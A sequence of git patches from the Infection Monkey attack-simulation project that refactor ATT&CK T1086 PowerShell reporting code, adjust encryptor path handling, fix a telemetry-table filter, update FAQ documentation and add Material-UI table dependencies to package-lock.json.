    From e3045c255a4620bc412cf3c0c467a45484da8666 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 11 Oct 2021 18:02:17 +0530 Subject: [PATCH 370/454] cc: Change variables from snake case to camel case for consistency --- .../src/components/attack/techniques/T1086.js | 30 +++++++++---------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js index 960fa25ea..760170185 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js @@ -53,29 +53,29 @@ class T1086 extends React.Component { } segregatePowershellDataPerCategory() { - let exploit_category_name = 'exploit'; - let pba_category_name = 'post_breach'; + let exploitCategoryName = 'exploit'; + let pbaCategoryName = 'post_breach'; - let data_from_exploits = []; - let data_from_pbas = []; + let dataFromExploits = []; + let dataFromPBAs = []; for (let rowIdx in this.props.data.cmds) { let row = this.props.data.cmds[rowIdx]; - if (row.telem_category == exploit_category_name) { - data_from_exploits.push(row); + if (row.telem_category == exploitCategoryName) { + dataFromExploits.push(row); } - else if (row.telem_category == pba_category_name) { - data_from_pbas.push(row); + else if (row.telem_category == pbaCategoryName) { + dataFromPBAs.push(row); } } - return [data_from_exploits, data_from_pbas] + return [dataFromExploits, dataFromPBAs] } render() { let segregatedData = this.segregatePowershellDataPerCategory(); - let data_from_exploits = segregatedData[0]; - let data_from_pbas = segregatedData[1]; + let dataFromExploits = segregatedData[0]; + let dataFromPBAs = segregatedData[1]; return (
    @@ -85,17 +85,17 @@ class T1086 extends React.Component {


    : ''} From 8519edbbd21ebf588dc6c7c15245e67203d5b2d6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 12 Oct 2021 07:28:36 -0400 Subject: [PATCH 371/454] Island: Explicitly handle path/string conversion in DataStoreEncryptor --- .../server_utils/encryption/data_store_encryptor.py | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index e9ff96716..9a33a7b1c 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -40,7 +40,7 @@ class DataStoreEncryptor(IEncryptor): plaintext_key = Random.new().read(DataStoreEncryptor._KEY_LENGTH_BYTES) encrypted_key = self._password_based_encryptor.encrypt(plaintext_key) - with open_new_securely_permissioned_file(self._key_file, "wb") as f: + with open_new_securely_permissioned_file(str(self._key_file), "wb") as f: f.write(encrypted_key) return KeyBasedEncryptor(plaintext_key) @@ -52,8 +52,8 @@ class DataStoreEncryptor(IEncryptor): return self._key_based_encryptor.decrypt(ciphertext) -def reset_datastore_encryptor(key_file_dir: str, secret: str, key_file_name: str = _KEY_FILE_NAME): - key_file = Path(key_file_dir) / key_file_name +def reset_datastore_encryptor(key_file_dir: Path, secret: str, key_file_name: str = _KEY_FILE_NAME): + key_file = key_file_dir / key_file_name if key_file.is_file(): key_file.unlink() @@ -61,8 +61,10 @@ def reset_datastore_encryptor(key_file_dir: str, secret: str, key_file_name: str _initialize_datastore_encryptor(key_file, secret) -def unlock_datastore_encryptor(key_file_dir: str, secret: str, key_file_name: str = _KEY_FILE_NAME): - key_file = Path(key_file_dir) / key_file_name +def unlock_datastore_encryptor( + key_file_dir: Path, secret: str, key_file_name: str = _KEY_FILE_NAME +): + key_file = key_file_dir / key_file_name _initialize_datastore_encryptor(key_file, secret) From b404f75a34ea6f2405cd25d1c76655fe94177786 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 12 Oct 2021 13:34:26 +0200 Subject: [PATCH 372/454] UI: Fix telemetry filter --- CHANGELOG.md | 2 +- .../cc/ui/src/components/pages/TelemetryPage.js | 9 +++++++++ 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 295f25371..eb099942a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -52,7 +52,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). them was the same. #1514 - ATT&CK report bug that said that the technique "`.bash_profile` and `.bashrc`" was not attempted when it actually was attempted but failed. #1511 - +- Telemetry bug that caused filtering to automatically refresh itself, periodically. #1392 ### Security - Generate a random password when creating a new user for CommunicateAsNewUser diff --git a/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js index b4a7d25d8..ef8deb92c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js @@ -33,6 +33,15 @@ class TelemetryPageComponent extends AuthComponent { .then(res => this.setState({data: res.objects})); }; + shouldComponentUpdate(_, nextState) { + if (nextState.data.length > this.state.data.length) + { + return true; + } + + return false; + } + downloadIslandLog = () => { this.authFetch('/api/log/island/download') .then(res => res.json()) From effd9dd957df24379bb31201412f838c9231608c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 13 Oct 2021 13:37:39 +0530 Subject: [PATCH 373/454] island: Modify mongo query so 'Account Discovery' PBA also gets reported in T1086 --- .../monkey_island/cc/services/attack/technique_reports/T1086.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index 1d74bac61..1fd99500e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -42,6 +42,7 @@ class T1086(AttackTechnique): "telem_category": "post_breach", "$or": [ {"data.command": {"$regex": r"\.ps1"}}, + {"data.command": {"$regex": "powershell"}}, {"data.result": {"$regex": r"\.ps1"}}, ], }, From 82eea6a8450f7683f19384b83d5a76b52ef3aa85 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 13 Oct 2021 13:40:24 +0530 Subject: [PATCH 374/454] cc: Change wording for T1086 reporting --- .../cc/ui/src/components/attack/techniques/T1086.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js index 760170185..d0ee71f80 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js @@ -12,7 +12,7 @@ class T1086 extends React.Component { static getPowershellColumnsForExploits() { return ([{ - Header: 'PowerShell commands used on exploited machines', + Header: 'PowerShell commands used during exploitation', columns: [ { Header: 'Machine', @@ -34,7 +34,7 @@ class T1086 extends React.Component { static getPowershellColumnsForPBAs() { return ([{ - Header: 'PBAs that used PowerShell commands or scripts', + Header: 'Post-breach actions that used PowerShell commands/scripts', columns: [ { Header: 'Machine', From 65f5189eb153d889e130173796c9797a3775bd12 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 13 Oct 2021 13:27:36 -0400 Subject: [PATCH 375/454] Docs: Fix broken "data directory" links in FAQ --- docs/content/FAQ/_index.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index bec25b6b6..3a7d7b2b8 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -54,7 +54,7 @@ Monkey in the newly created folder. When you first access the Monkey Island server, you'll be prompted to create an account. To reset the credentials, edit the `server_config.json` file manually -(located in the [data directory](/reference/data_directory)). +(located in the [data directory]({{< ref "/reference/data_directory" >}})). {{% notice warning %}} If you reset the credentials, the database will be cleared. Any findings of the Infection Monkey from previous runs will be lost.

    @@ -125,7 +125,7 @@ You can download the Monkey Island's log file directly from the UI. Click the "l ![How to download Monkey Island internal log file](/images/faq/download_log_monkey_island.png "How to download Monkey Island internal log file") It can also be found as a local file on the Monkey Island server system in the specified -[data directory](/reference/data_directory). +[data directory]({{< ref "/reference/data_directory" >}}). The log enables you to see which requests were requested from the server and extra logs from the backend logic. The log will contain entries like these: @@ -161,7 +161,7 @@ The logs contain information about the internals of the Infection Monkey agent's ### How do I change the log level of the Monkey Island logger? The log level of the Monkey Island logger is set in the `log_level` field -in the `server_config.json` file (located in the [data directory](/reference/data_directory)). +in the `server_config.json` file (located in the [data directory]({{< ref "/reference/data_directory" >}})). Make sure to leave everything else in `server_config.json` unchanged: ```json From 67a7fb66c54176244be89b2c3854642d77430679 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 13 Oct 2021 13:35:39 -0400 Subject: [PATCH 376/454] Docs: Fix numbering in password reset FAQ --- docs/content/FAQ/_index.md | 50 +++++++++++++++++++------------------- 1 file changed, 25 insertions(+), 25 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 3a7d7b2b8..52d888fca 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -64,33 +64,33 @@ However, you can save the Monkey's existing configuration by logging in with you In order to reset the credentials, the following edits need to be made: 1. Delete the `user` field. It will look like this: -```json -{ - ... - "user": "username", - ... -} -``` + ```json + { + ... + "user": "username", + ... + } + ``` 1. Delete the `password_hash` field. It will look like this: -```json -{ - ... - "password_hash": "$2b$12$d050I/MsR5.F5E15Sm7EkunmmwMkUKaZE0P0tJXG.M9tF.Kmkd342", - ... -} -``` + ```json + { + ... + "password_hash": "$2b$12$d050I/MsR5.F5E15Sm7EkunmmwMkUKaZE0P0tJXG.M9tF.Kmkd342", + ... + } + ``` 1. Set `server_config` to `password`. It should look like this: -```json -{ - ... - "environment": { - ... - "server_config": "password", - ... - }, - ... -} -``` + ```json + { + ... + "environment": { + ... + "server_config": "password", + ... + }, + ... + } + ``` Then, reset the Monkey Island process. On Linux, use `sudo systemctl restart monkey-island.service`. On Windows, restart the program. From c3fb5ae4417f8f8b198ba09d116c374cb75d6858 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 13 Oct 2021 14:50:14 +0200 Subject: [PATCH 377/454] UI: Change datatable for telemetries Used MUIDataTable instead of DataTable from react-data-components. The above package is deleted as it is not used anywhere else. --- CHANGELOG.md | 2 +- monkey/monkey_island/cc/ui/package-lock.json | 397 +++++++++++++++++- monkey/monkey_island/cc/ui/package.json | 4 +- .../cc/ui/src/components/Main.tsx | 1 - .../ui/src/components/pages/TelemetryPage.js | 86 ++-- .../cc/ui/src/styles/pages/TelemetryPage.scss | 4 + 6 files changed, 443 insertions(+), 51 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index eb099942a..a20d029cb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -52,7 +52,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). them was the same. #1514 - ATT&CK report bug that said that the technique "`.bash_profile` and `.bashrc`" was not attempted when it actually was attempted but failed. #1511 -- Telemetry bug that caused filtering to automatically refresh itself, periodically. #1392 +- Bug that periodically cleared the telemetry table's filter. #1392 ### Security - Generate a random password when creating a new user for CommunicateAsNewUser diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 217ea7f4a..181110929 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -2389,6 +2389,15 @@ } } }, + "@babel/runtime-corejs3": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.15.4.tgz", + "integrity": "sha512-lWcAqKeB624/twtTc3w6w/2o9RqJPaNBhPGK6DKLSiwuVWC7WFkypWyNg+CpZoyJH0jVzv1uMtXZ/5/lQOLtCg==", + "requires": { + "core-js-pure": "^3.16.0", + "regenerator-runtime": "^0.13.4" + } + }, "@babel/template": { "version": "7.8.6", "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.8.6.tgz", @@ -2638,6 +2647,82 @@ "resolved": "https://registry.npmjs.org/@kunukn/react-collapse/-/react-collapse-1.2.7.tgz", "integrity": "sha512-Ez4CqaPqYFdYX8k8A0Y0640tEZT6oo+Lj3g3KyzuWjkl6uOBrnBohxyUfrCoS6wYVun9GUOgRH5V3pSirrmJDQ==" }, + "@material-ui/core": { + "version": "4.12.3", + "resolved": "https://registry.npmjs.org/@material-ui/core/-/core-4.12.3.tgz", + "integrity": "sha512-sdpgI/PL56QVsEJldwEe4FFaFTLUqN+rd7sSZiRCdx2E/C7z5yK0y/khAWVBH24tXwto7I1hCzNWfJGZIYJKnw==", + "requires": { + "@babel/runtime": "^7.4.4", + "@material-ui/styles": "^4.11.4", + "@material-ui/system": "^4.12.1", + "@material-ui/types": "5.1.0", + "@material-ui/utils": "^4.11.2", + "@types/react-transition-group": "^4.2.0", + "clsx": "^1.0.4", + "hoist-non-react-statics": "^3.3.2", + "popper.js": "1.16.1-lts", + "prop-types": "^15.7.2", + "react-is": "^16.8.0 || ^17.0.0", + "react-transition-group": "^4.4.0" + } + }, + "@material-ui/icons": { + "version": "4.11.2", + "resolved": "https://registry.npmjs.org/@material-ui/icons/-/icons-4.11.2.tgz", + "integrity": "sha512-fQNsKX2TxBmqIGJCSi3tGTO/gZ+eJgWmMJkgDiOfyNaunNaxcklJQFaFogYcFl0qFuaEz1qaXYXboa/bUXVSOQ==", + "requires": { + "@babel/runtime": "^7.4.4" + } + }, + "@material-ui/styles": { + "version": "4.11.4", + "resolved": "https://registry.npmjs.org/@material-ui/styles/-/styles-4.11.4.tgz", + "integrity": "sha512-KNTIZcnj/zprG5LW0Sao7zw+yG3O35pviHzejMdcSGCdWbiO8qzRgOYL8JAxAsWBKOKYwVZxXtHWaB5T2Kvxew==", + "requires": { + "@babel/runtime": "^7.4.4", + "@emotion/hash": "^0.8.0", + "@material-ui/types": "5.1.0", + "@material-ui/utils": "^4.11.2", + "clsx": "^1.0.4", + "csstype": "^2.5.2", + "hoist-non-react-statics": "^3.3.2", + "jss": "^10.5.1", + "jss-plugin-camel-case": "^10.5.1", + "jss-plugin-default-unit": "^10.5.1", + "jss-plugin-global": "^10.5.1", + "jss-plugin-nested": "^10.5.1", + "jss-plugin-props-sort": "^10.5.1", + "jss-plugin-rule-value-function": "^10.5.1", + "jss-plugin-vendor-prefixer": "^10.5.1", + "prop-types": "^15.7.2" + } + }, + "@material-ui/system": { + "version": "4.12.1", + "resolved": "https://registry.npmjs.org/@material-ui/system/-/system-4.12.1.tgz", + "integrity": "sha512-lUdzs4q9kEXZGhbN7BptyiS1rLNHe6kG9o8Y307HCvF4sQxbCgpL2qi+gUk+yI8a2DNk48gISEQxoxpgph0xIw==", + "requires": { + "@babel/runtime": "^7.4.4", + "@material-ui/utils": "^4.11.2", + "csstype": "^2.5.2", + "prop-types": "^15.7.2" + } + }, + "@material-ui/types": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@material-ui/types/-/types-5.1.0.tgz", + "integrity": "sha512-7cqRjrY50b8QzRSYyhSpx4WRw2YuO0KKIGQEVk5J8uoz2BanawykgZGoWEqKm7pVIbzFDN0SpPcVV4IhOFkl8A==" + }, + "@material-ui/utils": { + "version": "4.11.2", + "resolved": "https://registry.npmjs.org/@material-ui/utils/-/utils-4.11.2.tgz", + "integrity": "sha512-Uul8w38u+PICe2Fg2pDKCaIG7kOyhowZ9vjiC1FsVwPABTW8vPPKfF6OvxRq3IiBaI1faOJmgdvMG7rMJARBhA==", + "requires": { + "@babel/runtime": "^7.4.4", + "prop-types": "^15.7.2", + "react-is": "^16.8.0 || ^17.0.0" + } + }, "@nicolo-ribaudo/chokidar-2": { "version": "2.1.8-no-fsevents.3", "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/chokidar-2/-/chokidar-2-2.1.8-no-fsevents.3.tgz", @@ -2676,6 +2761,21 @@ "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.10.2.tgz", "integrity": "sha512-IXf3XA7+XyN7CP9gGh/XB0UxVMlvARGEgGXLubFICsUMGz6Q+DU+i4gGlpOxTjKvXjkJDJC8YdqdKkDj9qZHEQ==" }, + "@react-dnd/asap": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@react-dnd/asap/-/asap-4.0.0.tgz", + "integrity": "sha512-0XhqJSc6pPoNnf8DhdsPHtUhRzZALVzYMTzRwV4VI6DJNJ/5xxfL9OQUwb8IH5/2x7lSf7nAZrnzUD+16VyOVQ==" + }, + "@react-dnd/invariant": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@react-dnd/invariant/-/invariant-2.0.0.tgz", + "integrity": "sha512-xL4RCQBCBDJ+GRwKTFhGUW8GXa4yoDfJrPbLblc3U09ciS+9ZJXJ3Qrcs/x2IODOdIE5kQxvMmE2UKyqUictUw==" + }, + "@react-dnd/shallowequal": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@react-dnd/shallowequal/-/shallowequal-2.0.0.tgz", + "integrity": "sha512-Pc/AFTdwZwEKJxFJvlxrSmGe/di+aAOBn60sremrpLo6VI/6cmiUYNNwlI5KNYttg7uypzA3ILPMPgxB2GYZEg==" + }, "@restart/context": { "version": "2.1.4", "resolved": "https://registry.npmjs.org/@restart/context/-/context-2.1.4.tgz", @@ -2745,6 +2845,15 @@ "resolved": "https://registry.npmjs.org/@types/history/-/history-4.7.9.tgz", "integrity": "sha512-MUc6zSmU3tEVnkQ78q0peeEjKWPUADMlC/t++2bI8WnAG2tvYRPIgHG8lWkXwqc8MsUF6Z2MOf+Mh5sazOmhiQ==" }, + "@types/hoist-non-react-statics": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/@types/hoist-non-react-statics/-/hoist-non-react-statics-3.3.1.tgz", + "integrity": "sha512-iMIqiko6ooLrTh1joXodJK5X9xeEALT1kM5G3ZLhD3hszxBdIEd5C75U834D9mLcINgD4OyZf5uQXjkuYydWvA==", + "requires": { + "@types/react": "*", + "hoist-non-react-statics": "^3.3.0" + } + }, "@types/html-minifier-terser": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-5.1.2.tgz", @@ -3805,6 +3914,11 @@ "is-regexp": "^2.0.0" } }, + "clsx": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-1.1.1.tgz", + "integrity": "sha512-6/bPho624p3S2pMyvP5kKBPXnI3ufHLObBFCfgx+LkeR5lg2XYy2hqZqUf45ypD8COn2bhgGJSUE+l5dhNBieA==" + }, "color-convert": { "version": "1.9.3", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", @@ -4088,6 +4202,11 @@ } } }, + "core-js-pure": { + "version": "3.18.3", + "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.18.3.tgz", + "integrity": "sha512-qfskyO/KjtbYn09bn1IPkuhHl5PlJ6IzJ9s9sraJ1EqcuGyLGKzhSM1cY0zgyL9hx42eulQLZ6WaeK5ycJCkqw==" + }, "core-util-is": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", @@ -4275,6 +4394,15 @@ } } }, + "css-vendor": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/css-vendor/-/css-vendor-2.0.8.tgz", + "integrity": "sha512-x9Aq0XTInxrkuFeHKbYC7zWY8ai7qJ04Kxd9MnvbC1uO5DagxoHQjm4JvG+vCdXOoFtCjbL2XSZfxmoYa9uQVQ==", + "requires": { + "@babel/runtime": "^7.8.3", + "is-in-browser": "^1.0.2" + } + }, "css-what": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/css-what/-/css-what-5.0.1.tgz", @@ -4704,6 +4832,16 @@ "path-type": "^4.0.0" } }, + "dnd-core": { + "version": "11.1.3", + "resolved": "https://registry.npmjs.org/dnd-core/-/dnd-core-11.1.3.tgz", + "integrity": "sha512-QugF55dNW+h+vzxVJ/LSJeTeUw9MCJ2cllhmVThVPEtF16ooBkxj0WBE5RB+AceFxMFo1rO6bJKXtqKl+JNnyA==", + "requires": { + "@react-dnd/asap": "^4.0.0", + "@react-dnd/invariant": "^2.0.0", + "redux": "^4.0.4" + } + }, "dns-equal": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/dns-equal/-/dns-equal-1.0.0.tgz", @@ -5829,6 +5967,20 @@ "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=", "dev": true }, + "frontend-collective-react-dnd-scrollzone": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/frontend-collective-react-dnd-scrollzone/-/frontend-collective-react-dnd-scrollzone-1.0.2.tgz", + "integrity": "sha512-me/D9PZJq9j/sjEjs/OPmm6V6nbaHbhgeQiwrWu0t35lhwAOKWc+QBzzKKcZQeboYTkgE8UvCD9el+5ANp+g5Q==", + "requires": { + "hoist-non-react-statics": "^3.1.0", + "lodash.throttle": "^4.0.1", + "prop-types": "^15.5.9", + "raf": "^3.2.0", + "react": "^16.3.0", + "react-display-name": "^0.2.0", + "react-dom": "^16.3.0" + } + }, "fs-extra": { "version": "8.1.0", "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", @@ -6377,6 +6529,11 @@ "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", "dev": true }, + "hyphenate-style-name": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/hyphenate-style-name/-/hyphenate-style-name-1.0.4.tgz", + "integrity": "sha512-ygGZLjmXfPHj+ZWh6LwbC37l43MhfztxetbFCoYTM2VjkIUpeHgSNn7QIyVFj7YQ1Wl9Cbw5sholVJPzWvC2MQ==" + }, "iconv-lite": { "version": "0.4.24", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", @@ -6772,6 +6929,11 @@ "integrity": "sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw==", "dev": true }, + "is-in-browser": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/is-in-browser/-/is-in-browser-1.1.3.tgz", + "integrity": "sha1-Vv9NtoOgeMYILrldrX3GLh0E+DU=" + }, "is-ip": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/is-ip/-/is-ip-3.1.0.tgz", @@ -7088,6 +7250,91 @@ "graceful-fs": "^4.1.6" } }, + "jss": { + "version": "10.8.0", + "resolved": "https://registry.npmjs.org/jss/-/jss-10.8.0.tgz", + "integrity": "sha512-6fAMLJrVQ8epM5ghghxWqCwRR0ZamP2cKbOAtzPudcCMSNdAqtvmzQvljUZYR8OXJIeb/IpZeOXA1sDXms4R1w==", + "requires": { + "@babel/runtime": "^7.3.1", + "csstype": "^3.0.2", + "is-in-browser": "^1.1.3", + "tiny-warning": "^1.0.2" + }, + "dependencies": { + "csstype": { + "version": "3.0.9", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.9.tgz", + "integrity": "sha512-rpw6JPxK6Rfg1zLOYCSwle2GFOOsnjmDYDaBwEcwoOg4qlsIVCN789VkBZDJAGi4T07gI4YSutR43t9Zz4Lzuw==" + } + } + }, + "jss-plugin-camel-case": { + "version": "10.8.0", + "resolved": "https://registry.npmjs.org/jss-plugin-camel-case/-/jss-plugin-camel-case-10.8.0.tgz", + "integrity": "sha512-yxlXrXwcCdGw+H4BC187dEu/RFyW8joMcWfj8Rk9UPgWTKu2Xh7Sib4iW3xXjHe/t5phOHF1rBsHleHykWix7g==", + "requires": { + "@babel/runtime": "^7.3.1", + "hyphenate-style-name": "^1.0.3", + "jss": "10.8.0" + } + }, + "jss-plugin-default-unit": { + "version": "10.8.0", + "resolved": "https://registry.npmjs.org/jss-plugin-default-unit/-/jss-plugin-default-unit-10.8.0.tgz", + "integrity": "sha512-9XJV546cY9zV9OvIE/v/dOaxSi4062VfYQQfwbplRExcsU2a79Yn+qDz/4ciw6P4LV1Naq90U+OffAGRHfNq/Q==", + "requires": { + "@babel/runtime": "^7.3.1", + "jss": "10.8.0" + } + }, + "jss-plugin-global": { + "version": "10.8.0", + "resolved": "https://registry.npmjs.org/jss-plugin-global/-/jss-plugin-global-10.8.0.tgz", + "integrity": "sha512-H/8h/bHd4e7P0MpZ9zaUG8NQSB2ie9rWo/vcCP6bHVerbKLGzj+dsY22IY3+/FNRS8zDmUyqdZx3rD8k4nmH4w==", + "requires": { + "@babel/runtime": "^7.3.1", + "jss": "10.8.0" + } + }, + "jss-plugin-nested": { + "version": "10.8.0", + "resolved": "https://registry.npmjs.org/jss-plugin-nested/-/jss-plugin-nested-10.8.0.tgz", + "integrity": "sha512-MhmINZkSxyFILcFBuDoZmP1+wj9fik/b9SsjoaggkGjdvMQCES21mj4K5ZnRGVm448gIXyi9j/eZjtDzhaHUYQ==", + "requires": { + "@babel/runtime": "^7.3.1", + "jss": "10.8.0", + "tiny-warning": "^1.0.2" + } + }, + "jss-plugin-props-sort": { + "version": "10.8.0", + "resolved": "https://registry.npmjs.org/jss-plugin-props-sort/-/jss-plugin-props-sort-10.8.0.tgz", + "integrity": "sha512-VY+Wt5WX5GMsXDmd+Ts8+O16fpiCM81svbox++U3LDbJSM/g9FoMx3HPhwUiDfmgHL9jWdqEuvSl/JAk+mh6mQ==", + "requires": { + "@babel/runtime": "^7.3.1", + "jss": "10.8.0" + } + }, + "jss-plugin-rule-value-function": { + "version": "10.8.0", + "resolved": "https://registry.npmjs.org/jss-plugin-rule-value-function/-/jss-plugin-rule-value-function-10.8.0.tgz", + "integrity": "sha512-R8N8Ma6Oye1F9HroiUuHhVjpPsVq97uAh+rMI6XwKLqirIu2KFb5x33hPj+vNBMxSHc9jakhf5wG0BbQ7fSDOg==", + "requires": { + "@babel/runtime": "^7.3.1", + "jss": "10.8.0", + "tiny-warning": "^1.0.2" + } + }, + "jss-plugin-vendor-prefixer": { + "version": "10.8.0", + "resolved": "https://registry.npmjs.org/jss-plugin-vendor-prefixer/-/jss-plugin-vendor-prefixer-10.8.0.tgz", + "integrity": "sha512-G1zD0J8dFwKZQ+GaZaay7A/Tg7lhDw0iEkJ/iFFA5UPuvZFpMprCMQttXcTBhLlhhWnyZ8YPn4yqp+amrhQekw==", + "requires": { + "@babel/runtime": "^7.3.1", + "css-vendor": "^2.0.8", + "jss": "10.8.0" + } + }, "jsx-ast-utils": { "version": "3.2.1", "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.2.1.tgz", @@ -7160,11 +7407,15 @@ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" }, + "lodash.assignwith": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lodash.assignwith/-/lodash.assignwith-4.2.0.tgz", + "integrity": "sha1-EnqX8CrcQXUalU0ksN4X4QDgOOs=" + }, "lodash.clonedeep": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", - "integrity": "sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8=", - "dev": true + "integrity": "sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8=" }, "lodash.curry": { "version": "4.1.1", @@ -7174,8 +7425,12 @@ "lodash.debounce": { "version": "4.0.8", "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", - "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=", - "dev": true + "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=" + }, + "lodash.find": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.find/-/lodash.find-4.6.0.tgz", + "integrity": "sha1-ywcE1Hq3F4n/oN6Ll92Sb7iLE7E=" }, "lodash.flow": { "version": "3.5.0", @@ -7187,11 +7442,36 @@ "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", "integrity": "sha1-LRd/ZS+jHpObRDjVNBSZ36OCXpk=" }, + "lodash.isequal": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.isequal/-/lodash.isequal-4.5.0.tgz", + "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA=" + }, + "lodash.isundefined": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/lodash.isundefined/-/lodash.isundefined-3.0.1.tgz", + "integrity": "sha1-I+89lTVWUgOmbO/VuDD4SJEa+0g=" + }, + "lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=" + }, + "lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==" + }, "lodash.pick": { "version": "4.4.0", "resolved": "https://registry.npmjs.org/lodash.pick/-/lodash.pick-4.4.0.tgz", "integrity": "sha1-UvBWEP/53tQiYRRB7R/BI6AwAbM=" }, + "lodash.throttle": { + "version": "4.1.1", + 